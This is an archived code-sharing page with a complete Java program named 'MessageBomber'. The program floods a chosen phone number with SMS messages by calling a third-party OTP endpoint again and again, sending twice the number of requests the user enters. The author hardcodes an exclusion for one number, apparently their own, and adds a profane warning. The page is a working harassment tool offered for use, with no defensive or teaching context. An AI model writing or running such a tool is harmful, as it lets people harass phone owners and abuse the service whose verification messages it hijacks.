Please note, this is a STATIC archive of website www.tutorialspoint.com from 11 May 2019, cach3.com does not collect or store any user information, there is no "phishing" involved.
Tutorialspoint

MessageBomber

import java.util.Scanner;
import java.net.*;
import java.io.*;


public class MessageBomber
{

    
    public static void main(String[] args) throws MalformedURLException, IOException 
    {
        System.out.println("Enter number:");
        Scanner read = new Scanner(System.in);
        String num = read.next();
        System.out.println("How many bombs:");
        int count = read.nextInt();
        String url2 = "https://www.tapp-me.com/sendotp?mobile="+num+"";
        if(url2.contains("9494171323"))
        {
            System.out.println("Fucker! Don't try to fuck me! -.- ");
            System.exit(0);
        }
        else
        {
            URL url = new URL(url2);

            // System.out.println(url);
            for(int i =0; i<count*2; i++)
            {
                try 
                {

                    URLConnection urlConnection = url.openConnection();
                    HttpURLConnection connection = null;
                    if(urlConnection instanceof HttpURLConnection) 
                    {
                       connection = (HttpURLConnection) urlConnection;
                    }
                    else 
                    {
                       System.out.println("Improper HTTP URL.\n");
                       return;
                    }

                    BufferedReader in = new BufferedReader(
                       new InputStreamReader(connection.getInputStream()));
                    String urlString = "";
                    String current;

                    while((current = in.readLine()) != null) 
                    {
                       urlString += current;
                    }
                    System.out.println(i+1+" "+urlString);
                }
                catch(IOException e) 
                {
                    e.printStackTrace();
                }
            }
        }
    }
}

Advertisements
Loading...

We use cookies to provide and improve our services. By using our site, you consent to our Cookies Policy.